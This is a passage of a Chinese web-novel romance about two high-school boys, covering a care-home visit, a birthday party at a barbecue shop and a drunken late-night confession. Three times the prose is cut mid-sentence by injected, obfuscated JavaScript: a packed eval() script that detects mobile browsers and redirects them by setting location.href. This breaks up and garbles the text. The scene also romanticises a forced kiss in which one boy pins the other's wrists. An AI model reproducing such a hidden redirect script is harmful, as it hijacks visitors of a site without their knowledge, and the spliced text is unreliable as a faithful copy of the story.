l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207342|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝毛进校,不然侯老师面子过不去。”裘时笑着解释,随后递过一个纸袋子说:“夏老师,漫画最新册在这里,应该是今年最后一期了。” “对对,我看画师发公告说下本要明年了。”老太太死死盯着那袋子书册,眉间带笑。 “没关系。”裘时俯身下蹲,说悄悄话似的,还特意压了点调:“我把以前杨老师最喜欢系列也给您带来了,上个月刚好完结,可以一次看个够。” “哎哟,好好好,谢谢小裘了!”老太太乐得合不拢嘴,双手护着怀里的一堆大宝贝,兴奋地朝脚下说:“等我下去了再给老杨剧透,谁让她走那么急,错过了多少好东西呢,嘿嘿。” 无话可说的原晢看着裘时身后的大袋零食,刚想找机会上手制止,就被老太太一个眼神瞪回去了。 轮椅也跟着丝滑地换了个方向,只给他留了个无情的披风后脑勺,大意就是——都半截身子入土的人了,吃点好的怎么了! 原晢:“……” 他在这里显得特别多余。 他就不该来! - 原晢再次感叹自己竟如此多余,插不上话不说,还被迫提着暂时用不上的几袋子零食小吃和贵重画册上楼安置,愈发后悔没和瘟神错开探望时间。 别家的老人都喜欢成绩好的孩子,夏老师以前也是。 在原晢成长的漫长岁月里,夏臻每次回临安都要捎上他那堆积的奖状证书成绩单,仿佛只有摆出能“秀”的好成绩,才能和这位不苟言笑的老太太掏一次心窝。 也正因如此,当他表现出对绘画的零星兴趣时,原宏涛二话不说就把这种不够“硬核”的火苗掐掉了。 但自从某个嘴甜的瘟神出现后,情况就不一样了。 楼下201的杨奶奶在离世前也在康养中心住了一段时间,不知道从什么时候开始,原晢每次去探望外婆都能看到那个姓裘的影子——小裘送来的折叠扇,小裘送来的进口耍货,小裘送来的零食大礼包……那些精挑细选的新鲜玩意儿把他这个只会买果篮的亲孙子衬得很呆。 嘱咐老太太少吃甜食还要被骂一顿:“这不能吃那不能吃,人生短短几十年,再不吃只能等下辈子了!” “叮——” 电梯到达楼层。 原晢仰天长叹一声,回过神才意识到有个熟脸与自己擦肩而过。 是昨晚来闹事结果被打趴的眼镜男。 听到电梯门开,在外等候的眼镜男下意识和原晢对视了一眼,随后继续垂头听同行者的教诲,似乎并不打算遮掩。 也可能是没力气遮掩。 眼镜男脸上全是昨夜留下的淤青,细框镜也松松垮垮地挂在塌鼻上,整个人不仅没有一丝一毫的攻击力,更是耷拉着眼皮生气全无。 “你妈这医药费住院费啊,大大小小的加起来数目可不少啊,总不好一直让舅舅垫着吧,我和你舅妈也要生活的啊。”顶着啤酒肚的中年人大声嚷嚷着,一把拖起眼镜男就往电梯里送。 “要是你没脸去和那姓裘的拿钱,我去!”中年人说。 电梯间并不宽敞,原晢不得不闪身给他们让道。 “这有啥拉不下脸的?是他那个太子爹勾引你爸在先,人走了,财产总要分一分啊!” “我姐都被气成这样了,他总要有个说法啊是不是,就这么当作没事人一样,这世道还有没有章法了!” “看看,看看你这熊样,哎哟喂,昨晚又上哪儿鬼混去了,成天把自己搞得鼻青脸肿的,像什么话!” “真是处处不如人,高考考几年了都考不上,不想读就快点出去打工,别成天在复读班耗着,丢人!” “反正我和你妈说你已经上大学了,你以后自己看着演吧!”中年人很是嫌弃地踢了一脚眼镜男,继续训斥道:“怎么就这么怂?叫你要个钱而已,几年了都要不回来,还指望着我一家老小继续养你啊,这么多年,也仁至义尽了吧?” “你不想活,也得管管你妈吧?” “那姓裘的再牛逼,总有落单的时候啊,偷袭不会啊,动手不会啊,实在不行你找机会把他绑来,舅亲自给你讨说法,多大个事儿啊……” 电梯关门下行,里面的声音也逐渐匿了迹。 原晢站在走廊上愣了好一会儿,醒了个大早的混沌脑子才逐渐回过神。 所以是……裘时的父亲,和,那个眼镜男,的,爹? 昨晚眼镜男趴在地上的时候是有在嘟嘟囔囔什么,但那时原晢并没有太多的八卦心,他连自己的名誉都没能保全…… 罢了,他也不是没见过。 以前念的那个贵校就有好几对校园CP,小情侣间还经常排列组合换着玩,三天一小嗨五天一大嗨,原晢已经见怪不怪了。 他虽然不太明白,但也没兴趣深究。 他在学校里一直没什么朋友。 原晢知道,自己这种稍显木讷的书呆子性格并不适合多元发展的国际学校,不如按部就班走常规升学路径来得舒坦。 他有想过改变。改变自己,或是改变环境。 可当原宏涛为了面子把他强塞进去,却又固执地秉持成绩至上的保守观念,连参加个社团活动都要连骂两天“不务正业”时,原晢也没什么好辩解的了。 随他去吧。 他确实没有碰上一个好父亲。现在看来,那个姓裘的也一样。 原晢抖了抖酸涩的手臂,继续提着几袋子重物在楼层里找门牌。 他也不知道那个姓裘的是怎么把这么多东西一次性打包过来的,他俩的体格看起来也没差那么多,自己竟然如此弱鸡……哦不,真是这玩意儿太重了! 原晢刚走到目标房号门口,兜里的钥匙还没掏出来,斜对门就轻飘飘探出了一个人头。 是一位面色苍白的披发女人。 女人压着诡异的笑声,突然脑门一正,直接朝原晢撑开双臂:“乖崽,来,快来。” “到妈妈怀里来。” 9. 元宝 老太太午休后,原晢直接回到烧烤铺帮工,结果某个甩不开的瘟神也跟了过来,美其名曰要保护他。 原晢翻了很多个白眼也没翻掉。 想起康养中心那位被护工五花大绑才勉强摁住的疯癫女子,原晢冷不防又在烈阳下打了个寒战……姓裘的真是造孽啊! “今晚有大客户包场,店内肯定忙不过来,多一个人多一个帮手嘛。”看着两个少年不太对付的模样,侯清洋立刻出来打圆场:“还是裘爷靠谱啊!平时总爱蹭吃蹭喝的那群白眼狼,一个两个都叫不出来,今晚肯定又来白吃!” 原晢:“……” 哪有什么大客户,今晚不过是他们班长朱旭阳包场过生日,撑死不过几十张嘴。 原晢看了眼手机,“日天日地”群聊里的信息已经堆到爆炸了,朱寿星从上午九点开始就一直到处发红包,可他一个也没抢到。 罢了。 看着他那不以为然的表情,侯清洋和裘时对视一眼,笑着把人推到了后厨:“你是不知道去年他们吃了多少,猪都没这么能吃,把我未来几天的备货全掏空了,简直蝗虫过境……来来来,下午先忙点,今晚就和朋友好好玩吧!” 原晢一开始不信。 直到临近晚饭点,铺子里外突然涌出密密麻麻的人头后,他信了。 望着眼前嗡嗡叫的成群蝗虫,原晢手里的钢签不由得一抖:“不是……八十大寿也用不着这么隆重吧?” 朱旭阳接了爹妈的一身官气,平日在学校里能喘气的东西他都认识。不单单是本部校区这百来号人,新校区也来了不少生面孔,三两下就把当街门店最大的烧烤铺挤得水泄不通,连对面咖啡吧的位置都被这伙人强占了。 至于为什么如此盛大的喜事还要选在破烂的申经街举办,原因也很简单——因为这里有裘爷坐镇,能打折! 侯清洋给每桌贵客都加配了酒水,红的白的黄的一样不少,势必让朱旭阳在成人礼这天一口闷个爽。 原晢在后厨忙得手都抖了,点单机还在呼啦啦往外喷,喷到卡纸。 “呵,呵……”原晢两眼一抹黑,就地躺平。 忽然脸上一冰。 “润润嗓子。”那个姓裘的笑嘻嘻地给他递上一听可乐,声音超贱:“看吧,哥哥还是需要我的。” “别废话,快点来帮忙。”原晢说。 “不用麻烦了,都是熟客,直接让他们上手抓。”裘时端起一盘羊肉就径直往外走,顺便把腿脚发麻的原晢一起提了出去:“过来一起吃。” “手抓羊肉。” 原晢:“……” 大爷就是大爷! “你不早点说,这一堆都快弄完了。”原晢高低朝天翻了几个白眼。 他抱着一串签子不撒手,并不是很想和这个姓裘的走一道。 “别遛了,我自己能走。”原晢说。 “嗯?”裘时坏笑地看着他,犹豫了一会儿,还是轻轻松了手。 “就这么怕别人发现啊?”裘时笑,“我们的关系。” “我们什么关系?”这人又凑过来问。 “有个屁关系!”重获自由的原晢拼了命地往后退,拿着钢签当武器怼人:“你先出去,先出去,我俩不熟!” “不熟!” 烧烤铺大堂内侧本就挖了一个驻唱点,吉时一到,灯光一换——主角闪亮登场。 朱旭阳很擅长调动气氛,乌啦啦讲了几句现场就顺利沸腾起来,生日宴活脱脱变成了跑调王者的嗨歌大会,一浪更比一浪高。 吹蜡烛环节一过,这群好不容易成年的躁动分子二话不说就开始搭肩灌酒,白的洋的混着来,恨不得一顿把心烧穿。 场面非常混乱。 在混乱之中依旧力求体面的原晢:带签的那些肉呢?都被谁吃了?! 毕竟不认识几号人,又是来工作的,原晢不好擅自离岗太久,和大伙儿热闹一阵就回后厨帮忙了。 等他再次抬头时,大堂瞬间安静了不少。 这场生日宴非常接地气。 一个两个全喝到地上去了。 高戴生日帽的朱旭阳身边依旧围着一群人,拍照的拍照,吹逼的吹逼,人都要站不稳了,手里的杯子倒是相当满溢,轻轻一碰就迸溅出不少沫白。 沫白很快就被喧闹带到裘爷身边去了。 “明天不是还要上课吗,快回去吧,这边哥收拾就行了。”侯清洋无奈叹息,开始着手安排今夜的打包运送工作。 “你是住2号楼么,杨老师家楼上?”侯清洋问。 “嗯。”原晢点头。 “那裘爷就交给你了哈,我看他被灌了不少,自己回去估计也悬。”侯清洋笑着说。 原晢回头一看,“……” 好家伙,这群酒鬼还在喝! “他们经常这样么?”原晢问。 “偶尔,想聚餐的时候就来糟蹋糟蹋我这小店,毕竟小鬼们还是有点怕侯老师,来我这里嚯嚯一下,明天就不用亲自请假了。”侯清洋安排着护送车辆,顺手抓了几颗薄荷糖给他,说:“喏,今晚全是硬菜,吃点解腻的。” “谢谢侯哥。”原晢应着,转身就把淡蓝色的糖果原路送回。 他从小就不喜欢薄荷味的东西,也没有什么特别的原因,就是不喜欢。 凉飕飕的。 “哎,可怜的小鬼头,连个对象都没有,就这蠢样大半夜的也敢回家住,明天醒来不被爹妈骂死才怪嘿嘿嘿。”侯清洋边说边往外走,悠哉地拨通了某个晨的家长电话:“打扰了孙叔,我是隔壁小侯……” 原晢:“……” 熟人太多的地方果真一点隐私都没有! 原晢心存侥幸地逃回了后厨。 还好那桩失效多年的娃娃亲早被隔绝在上一辈的闲谈里,侯清洋也是因为在楼下201学过画才偶然知晓,他目前在学校的处境尚且安全。 只不过,眼镜男那边…… 这情况,他必须要和那个姓裘的好好谈谈。原晢想着。 他不是要管闲事。他也不想管闲事。 客观来说,这茬怎么看都和那个姓裘的没关系,无论出轨出柜闹离婚,都是他那个太子爹的问题。可二流子才不管这些,道理都是说给文化人听的,万一他自己也被那群人盯上怎么办? 他可没钱啊! 他就是没钱才回来考试的啊!! 天天被个二流子当作别人老婆堵路上可还了得!!! …… 综上所述,这闲事确实碍着他了。 必须认真严肃处理。 必须认真严肃地找那个姓裘的处理。 原晢点点头,一脚就把眼前的回收垃圾给压实了。 可等他收拾好黑围裙回到大堂,今晚的任务目标却不见了踪影。 原晢:“?” 那个姓裘的怎么消失了? - 原晢是在斜对角的窄巷里找到人的。 侯清洋说他们裘爷可能去喂猫了,原晢走近一看,角落里还真有好几只流浪猫。 准确来说,应该是野猫。 它们并不与人类亲近,神情里全是充满警惕的不善感,根本不会喵喵喵,只会盯着肉罐头巡视四周,确认安全后叼起食物撒腿就跑。 强壮敏捷有干劲,并不适合近距离投喂。 但裘时还是买了很多猫罐头,一罐一罐打开摆到墙缝下,周边还有从烧烤铺拿来的喷香剩菜,一并给野猫家族送了顿豪华大餐。 那群身姿矫健的小影子已经消失很久了,可裘时还呆呆地定在那里,丝毫没有离开的意思。 他曲膝坐在路沿上,双手顶着脑袋抱在胸前,一言不发,只是看着。 愣愣看着。 “回去吗,快零点了。”原晢将顺手捎来的蜂蜜水在裘时眼前晃了晃,“喂喂?” “真醉了?” 原晢定睛一看,这人竟然双瞳失焦,躯体毫无反应…… 果然醉得不轻。 时间不早了,明天还要早起上课,睡眠不足会严重影响刷题速率……原晢估算着利弊得失,伸手推了推身旁的醉鬼,可醉鬼依旧纹丝不动。 他准备放弃。 这可是裘爷的地盘。 大地主在自己的地盘上宿醉醒来,总不至于能出什么坏事,对吧? “那我走咯?”原晢把蜂蜜水放在裘时手边,试图征求醉鬼的意见。 可醉鬼还是没反应。 “我先回去咯?”原晢又问了一声。 醉鬼的魂该是飞远了,杳无音讯。 头顶昏黄的路灯闪了一下,原晢眨巴眨巴干涩的双眼,不由得连打两个哈欠。 忙了一整天,他是真的累了。 也真准备撤了。 回店里和侯清洋汇报一声就行,原晢想着。 这里还蹲着个财神爷…… 捡到者重重有赏…… 重重有赏…… 原晢刚后退两步,还没从分岔路回到申经街主干道,又突然想起今早在电梯口听到的那番话来—— “总有落单的时候吧?”那个肥头大耳的中年人说。 原晢隐约记得站在一旁的眼镜男点了点头,一副谨记教诲的模样,甚至在电梯门关的瞬间朝着他动了动嘴皮,满脸挑衅。 不知道说了什么。 也不知道这人到底是想要钱,还是想要命。 又或者,眼镜男只是单纯想成为裘爷的老婆? 而他现在似乎还占着这个位置…… “啧。” 原晢叹了口气,一屁股在裘时身边坐下了。 毕竟这闲事碍到他了。 就勉强管一下吧。 零点的夜风满是清爽,漫长夏季所烘烤出的燥热烦闷早已褪去。原晢闭上眼,认真感受窄巷里穿堂而过的律动气流,不免感慨这座城市竟还有如此惬意的舒爽时刻。 耳边的喧嚣逐渐远去,专属于夏夜的宁静感悠悠漫上心头。 身旁的酒鬼依旧没有说话,原晢也没打算开口破坏这难得的氛围。 沉默是今晚的申经街。 两个孜然味的黑影就这样静默地蹲坐在小路旁,同砖异梦,各怀鬼胎。 不知道过了多久。 估计也没多久,但人在累到极致又伺机闭目养神的状态下,根本没办法预估准确的时间。 就在原晢感觉自己下一秒就要入梦时,裘时突然叫了他一声:“原晢。” 精神状态不明。 原晢猛地睁眼:“嗯?” 这好像是两个月来第一次被瘟神直呼大名,原晢不免呆了一下。 还能知道他是谁?是个好兆头。 说明醉鬼的魂还在。 “杨老师以前给我养过一只猫。”裘时说。 “嗯。” 原晢点了点头,满怀欣喜地看着他:这位爷,奴家要困死了,咱回吧? “是我在放学路上捡的。”裘时指了指墙角,轻声说:“就在那里。” “嗯!” 原晢高兴地睁大了双眼,不忘捶打敲击早已麻痹的四肢,准备起身:这位爷,小喵都回家了,咱也回吧! “是一只金渐层,特别漂亮。”裘时说。 “嗯,然后呢?”原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207343|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晢问。 “所以,它也叫元宝。”裘时语气带笑,强调了一句:“金元宝。” 某个略显贬值的银元宝:“……” 原晢合理怀疑201的宠物名是从夏总口中偷来的,毕竟以前回外婆家的时候,夏总向来喜欢在单元楼下大喊:“原宝!原宝!快给妈妈开开门!” 但他没有证据。 罢了,他懒得计较了。 “嗯,然后呢,这喵给你招财了吗?”原晢直接站了起来,双手叉腰俯视着眼前这个毫无攻击力的醉鬼,就差开口催人“快点滚”了。 可裘时却没有继续往下说。他摇了摇头,伸手拨开立在二人之间的蜂蜜水,从双臂间抬起一双通红的眼。 四目相对的一瞬间,原晢愣住了。 这是……哭了? 为什么? 因为眼镜男?因为眼镜男生病的母亲?还是因为眼镜男那个爹牵扯出的一堆旧事? 怎么就喝酒喝到感性了? “这……这是,怎么了?”原晢摸不着头脑,只好一屁股又坐了回去。 他从没照顾过醉酒患者,只能着急忙慌地把蜂蜜水递到裘时手里,希望他能快点醒过来。 “小猫有家了,它肯定特别高兴。”原晢瞎说道,“喵喵喵的,虽然我没养过猫,但好像猫一高兴就会撒娇。” “喝点?”原晢端着蜂蜜水邀请。 裘时却再次摇了一下头。 “它不高兴,它也不会喵喵喵。”裘时垂眼看着路面,语气平静:“没到一星期,它就跑了。” “我没再见过它。”裘时说。 原晢两眼一黑:我还是闭嘴吧! “那是野猫,不是流浪猫。”裘时沉声说:“它只是太饿了,所以那天才愿意和我回家。” “准确来说,是我用罐头把它骗回家的。它并不愿意和我一起回家。” “它不喜欢我买的猫砂,猫屋,猫爬架。” “它也不喜欢我。” 裘时顿了一下,抬眼看向原晢。 眼眶里聚集的潮湿已经退去大半,说不清是醉是醒。 “我身边很多人,都和那只猫一样。”裘时说。 “它不喜欢我。” “他们也不喜欢我。” “我身边所有留下来的人,都是花钱买来的。” 裘时眼前恍惚掠过很多残影。 总是记不清他名字的父亲,头也不回离开家的母亲,爷爷葬礼上热闹至极的宾客,还那有空荡无人充满回声的大房子……他不禁向前伸手抓了抓。 什么都抓不住。 “你也不喜欢我,对吗?”裘时抬眼看向原晢,满是认真。 原晢:“……” 这位爷,屁点大的酒量以后还是别喝了,万一把银行密码也说出来就麻烦了。 我不喜欢你?我当然不喜欢你啊! 有没有可能我就不喜欢男的? 我不喜欢男的可以吗? 可以吗? 我能不能不喜欢男的! 能不能!!! 看着那双醉酒迷离的眼睛,原晢不免在心里冷笑了几声。 真该给他录下来狠敲一笔! 这人到底在发什么疯叨什么梦话,平时天天被一群人围着还不够,是要三步一跪拜才算表露真心吗……也不知道狗腿子们听了这话该有多心碎…… 就这么孤单寂寞? 还买来?有钱买都不错了! 搁这儿和他这个死穷鬼炫富呢!!! “你为什么不说话?” 没有得到回应的裘时突然探出半边身子,猛地朝原晢贴近。 原晢近距离瞪了他一眼:“……” 因为老子困得要死,实在不想和傻逼说话。 你知道你现在有多傻逼吗? 能醒醒自己走回家吗? 靠! “你不准备反驳吗?”裘时紧盯着原晢,又重复了一遍:“不反驳吗?” “……”原晢无奈,掏出手机点亮屏幕:“大爷,您知道现在几点了吗?” 他原本想等晚风和蜂蜜水帮着醒醒酒再带人回去,现在看来,这个决定非常错误。 还浪费了不少时间。 酒精似乎麻痹了信号接收器,醉酒的人只能单向随机输出,无法进行双向高频交流。 裘时自然没有理会原晢的提问。 但他依旧保持偏向一侧的僵硬姿态,神情戒备,双拳紧握,仿佛在做一个天大的决定。 原晢也不知道现在是什么状况。 喝过酒的人脸很热,他甚至能感受到那阵滚烫的体温。 好烫……难道是发烧了? 原晢下意识伸手往前探了探,很遗憾,没有。 这人单纯是在发酒疯。 原晢突然感到有点尴尬,只能快速把手收回来,清醒地咽了咽口水。 两个人靠得太近,心跳砰砰砰地撞击着,终于交混成一道猛烈的声响。 原晢无奈偏过了头。 “那就这样吧。”裘时突然放低了声音,近乎哀求:“原晢,你可怜可怜我吧。” 原晢听得一头雾水:“什么?” 什么就这样?什么可怜他?这人到底在说什么胡话? 装傻?充愣?还是……想借钱? 不管怎么说,借钱都是绝对不行的,他没钱! 他最没钱了!!! 原晢迟疑着回过头,准备二话不说直接上手把人扛走,唇边却瞬间落下一阵酒气。 裘时吻住了他。 掐着脖子吻的,非常凶残。 10. 薄荷 这个蜂蜜薄荷味的酒,啊呸,吻……这个蜂蜜薄荷味的吻至少保持了半分钟,呼吸不畅大脑空白的原晢才真正意识到发生了什么。 原晢气炸了。 特么的草草草草草草! 还啥都没搞清楚老子的初吻就就就就就这么不明不白地给了一!个!男!人!!! 一男的!!! 男的!!! “……啊唔……靠……” 原晢拼死挣扎,可下一秒他整个人就被抡到了墙角,两侧手腕都被对方强硬控制着,根本动弹不得。 原晢也不怎么会吻……啊呸!拒绝!是拒绝! 他也不怎么会拒绝!!! 甚至连牙关都没咬紧,挣扎不出三秒就喜提溃堤。 身体里的酒精浓度正在缓慢上升。 好一口酣畅淋漓的二手酒。 甚至还有点甜。 原晢不自觉拿舌头舔了舔。 好像是薄荷糖的味道…… “……” 毁灭吧世界!!! 谁能告诉他应该怎么办啊!!! 他到底要不要动啊!!! 怎么动啊!!! 不能动吧!!! 动就是回应啊!!! 谁他妈还敢有回应啊!!! 在被蜂蜜薄荷气泡酒入侵后,原晢的每次反抗都像极了回应,而这份“热情”只会给他招来更凶更狠更强劲的报答。 浑身的血液都在上涌。 他根本招架不住。 …… 眼前突然闪过一阵眩晕。 头顶的路灯瞎了,又复明似的闪了几下。 断续的电流唤醒了脑中的零星理智,困住他的人明显顿了一下,随后缓缓松开了手。 受到惯性影响的原晢不自觉往前带了带,他又懵又恼,大睁着双眼努力喘息,终于是一把推开了这个强吻自己的神经病。 原晢不知道接下来要用什么表情和醉鬼对骂,他也没来得及找表情——再次接触新鲜空气的刹那,原晢双脚一瘫,直接跪到了地上。 他根本没力气咆哮。 原晢:“……” 毁灭吧世界!!! - 就这样莫名其妙被人连嘬十几口,原晢连个解释都没捞着,罪魁祸首就一头栽他怀里睡熟了。 特别安详。 和死了没什么两样。 原晢还维持着刚刚的跪坐姿势,被自己火烤般的滚烫体温彻底镇住,四肢麻痹,灵魂出窍,不知道未来的人生路该何去何从。 他像只糊透的鸡骨架,由于体温过高,一缕焦烟正缓慢地从头顶升起,估计随便来个低频振动都能把这副躯体碾碎成渣。 毁灭吧,世界。 原晢都不知道自己是怎么把瘟神背起来的。 那架势,或许叫“拖”更合适。 他愣在原地缓了好一阵,终于憋上一口恶气,一路把这个一米八几满是腹肌的重量级死变态拖回烧烤铺,在众目睽睽之下一脚给人踢进了杂货间,不忘喘着粗气把门锁死,准备天亮之后再回来严刑伺候。 感觉不解恨,原晢又多加了两个拖把堵出口,“哐哐哐”对着自制机关一阵猛踹。 “绝对要讨回来!”脑子里有个声音在奋力嘶吼:“这特么属于肉/体与精神的双重打击!” “致命打击!” “毁灭级!!!” 气势之凶狠,连正忙着打烊的侯清洋都看傻在一旁。 侯清洋将目光无声转向同样傻在一旁的黑围裙大哥们:啥情况?小俩口吵架了? 几位黑围裙大哥齐刷刷摇头:不造啊!下午还好好的! 侯清洋凝眉思索,问:这情况,咱站谁比较有胜算? 黑围裙大哥1号揣度片刻,眉毛一扬:俺觉得裘爷是个顾家的人!男人的面子不值一提!肯定先求饶!! 黑围裙大哥2号紧跟着掐指一算:俺觉得裘爷醒后会很脆弱!急需亲亲抱抱举高高!指不定还有点其他项目!! 黑围裙大哥3号跟在后排频频点头:俺觉得这地儿应该立刻清场!闲杂人等不得入内!不得入内!! 众人一拍即合:站裘爷老婆!!! 就这样,等原晢从杂货间出来的时候,整个烧烤铺人去楼空,只剩一把门店备用钥匙孤零零地躺在吧台上。 附带一张小字条——完事儿请锁门! 百口难辩的原某:“……” 毁灭吧,世界。 - 原晢一直是个很淡的人。 他不太爱计较。 或者说是懒得计较,因为任何事情细究起来总会萦萦绕绕牵扯出一堆人情,使平淡的生活遭受不必要的繁琐。 他不喜欢那样。 就比如无法兑现的出游承诺。 在北方正式晋升为小学生后,原晢就不常能见到忙于工作的夏臻,母子间约定好的周末出游也总是不了了之。 而每次食言后,夏臻都会非常认真地向他道歉,甚至提前准备好道歉礼物,让他找不到理由拒绝。然后下次再犯,再道歉,再送礼,再郑重地许下另一个承诺。无限循环。 …… 原晢不明白夏臻为什么总要把自己绕进圈子里。 明明只要不答应出游就可以了,多简单的事情啊,为什么总要主动提议下个周末一起去哪里哪里呢? 夏总什么时候有周末了?她自己见过吗? 后来,原晢学会自主取消出游计划,这个周末天气不好,下个周末作业太多,下下个周末再说吧……总之是他自己不想出门,是他“耽误”了约定,与其他人无关。 原晢不想被迫承载他人的情感,无论那是遗憾,愧疚,还是……喜欢。 原晢隐约察觉到了,那个姓裘的喜欢他。 或许带有不少冲动。 不知道是从什么时候开始的。 在这个夏天以前,他们两人的生活并没有什么正式交集,甚至连面都没见过。 除了早在十几年前就入土的娃娃亲劣迹,他最多是在夏老师口中听上几次瘟神的大名罢了,哪个裘哪个时都不确定,只知道那人是老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207344|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子楼下的长住客,是个很会讨老太太欢心的有钱人…… 裘时对他的印象也该如此。仅限于此。 这种平淡的记忆,可能还会因为补课期间的无数白眼而崩坏一层。 他总觉得瘟神风骚傻逼靠不住,那瘟神也会觉得他这人不仅没什么耐性,没什么情商,还没什么……等等,等等等等,所以,这,这难道就是什么狗屁传闻中的一……见钟情?! 看着自己被啃到红肿的双唇,原晢心跳一紧,在浴室的漫天水汽中对着镜子扑通一声跪下了。 两边脸蛋都透红的原某:“……” 想起来还是腿软……靠! 这笔账没完!!! 他绝对不会这么算了!!! 他一定要狠狠掐住那点春心荡漾的萌动火苗……以前也不是没被人表白过,但谁二话不说直接上嘴啊! 特么的随便喝个酒就把人往死里啃,鬼知道这人突然发个疯还会做出什么惊天地泣鬼神的大事! 可别逮着个没人的空地就直接把他给办了!!! 靠!!! 靠!!! 靠!!! 不能落单的分明是他自己才对啊!!!!! 原晢一夜未眠。 他早就困得不行了,可一闭眼就是瘟神那张忽然贴近的大脸,人都被吓精神了,根本没办法合眼,更别谈入睡这种需要高级技巧才能满足的生理需求了。 一想到烧烤铺角落里还躺着个醉鬼,一想到那个躺着的醉鬼办了件大事还能睡得死沉,原晢就气不打一处来,索性一个激灵站起身,强忍着头痛出门勘查现场去了! 生怕独自留宿在外的瘟神酒醒后和他玩个人间蒸发! 他已经给这人睡了整整五个小时了,够够的了,再睡下去就要睡饱了,醒来有的是精力装断片! 他可睁眼熬了一宿啊! 熬了一宿啊!!! 原晢越想越气,越想越气,长腿的频率也不自觉多次加速。 少年直接在清晨的道路上飞奔起来。 可他心中还是隐隐升起了些许不安。主要是他的眼皮一直在跳,两边一起,同频共振,搞不清到底是财是灾还是过于缺觉即将猝死……毁灭吧世界! 他根本不知道和瘟神面对面能说什么! 亲都亲完了!靠! 骂都不知道要从哪里开始骂! 万一那个姓裘的死不认账怎么办?反咬一口怎么办?他连证据都没有! ……证据? 卧槽?那附近不会有摄像头吧?昨晚不会留下什么证据吧? 不要啊! 不要啊啊啊啊啊啊啊! 好气啊!气死人了!!! 先打一架算了!!! 原晢一路狂躁地奔向烧烤铺,可他千算万算,还是差了一步。 杂货间的双开锁已经被人从里侧打开了。 两个门禁拖把整齐地摆在过道外,行军床上连余温都不剩,原晢目光所及之处还能看到后院虚掩着的应急逃生门……那个酒醒的瘟神早就跑路了! 11. 记账 “哎,今天又少两条友,咱班本来人就少,现在更是空荡寂寥啊,啊,啊——阿嚏!” 孙晨在前桌伸了个长长的懒腰,又吸了吸鼻子,观摩了一圈为留学考语言而缺席的座位后,终于是认命般咆哮一声,拿起手中的错题就转头朝原晢拜了起来:“学霸!” “学霸保佑!” “这题,可以用最直接,最简单,最傻逼的方式给我解释解释吗,刚侯爷说的那套我没听懂!” 赵晨见状,赶紧一个飞步过来把孙晨挤出了椅子面,掐着点说:“起开起开,你那个我给你讲就行,学霸的宝贵的时间还是救我这种能救的吧。” “屁!”孙晨边打着哈欠边说:“你那分,和我,不就……不就半斤八两吗!你嘚瑟个啥!我这次还进步了呢!” 赵晨白眼直击:“你至少还要再,再再再前进一百名才配和我半斤八两,慢慢爬去吧。” “滚蛋,怎么说这也是我的位,你搁那儿问不行吗!”孙晨指着赵晨的位置说:“鸠占鹊巢!” “哎,我就占了怎么着吧,你蹲这里总打岔,讲两句就跑题,滚滚滚,靠边上站着去。”赵晨抢先一步摊开了试题,一脸谄媚地看向原晢,并双手递上限量版联名水笔:“学霸,嘿嘿,您请。” “卧槽?”孙晨怒吼三连:“我的!这是我的笔!我说怎么找不到了!” “死赵狗!” “竟然敢顺本大爷的东西!!!” 原晢:“……” 两个晨在眼前越闹越欢,原晢被吵得脑壳有点疼,忍不住也打了一个哈欠。 这些天,他就没睡过一次踏实觉。 因为楼下瘟神跑路了。 瘟神跑路了。 真跑路了,杳无音讯的那种。 原晢目前还没逮到人。 他也不知道该去哪里逮人。 自从楼下那位人间蒸发后,原晢对周边环境变得极为敏感,偶尔夜间有车辆路过,窗外的光线闪了一下,他都以为是瘟神回来了,三番五次从阳台吊个脑袋往下探,直到确认一切如旧才不情不愿地回屋就寝。像只死不瞑目的厉鬼。 但瘟神一次都没出现。 原晢都快消气了。 高三生的压力也终于在老校区逐步显现出来,各科的卷子都成堆积压在课桌里,每天都不要钱似的翻倍增长,侯业又不知道从哪里给他这个可塑之才搜罗了一堆进阶版必考重难点,原晢每天挑着写还要熬一熬。 烧烤铺的工作反倒成了当下唯一的透气口。 原晢依旧每晚都去店里放空一阵,喝点免费酒水,吃点免费宵夜,再回家进行下一轮复习。 他还是会习惯性紧盯201的窗台,尽管有时候学到懵的脑子并不清楚为什么要这样做——瘟神都干了什么来着? 怎么大家都不好奇这人去了哪里? 他经常这样无故失踪吗? 真不用报警什么的? 确定没事? 那个姓裘的都消失好几周了啊……法克! 这周又是一场大考。考试结束后,本部校区顺道开了次高三动员会。 虽然夏臻没到场,但原晢的王炸属性还是被侯业给各位监护人隆重介绍了。于是,班内最强关系户们为了自家小孩能被老校区内的唯一学霸近距离照拂,纷纷抢着把座位钉在了他周围,前面一个姓孙的,左边一个姓赵,每天叽叽喳喳就着一起学习的幌子互灌八卦,斗嘴斗个没完……原晢看着自己好不容易保住的靠窗位,默默又将桌椅朝教室后门挪了一屁股。 还好身后是块空地,否则他简直处在三面环绕立体声里,真是要命了…… 那边的位置空很久了。 望着那个稍显冷清的角落,原晢不免怔了一下。 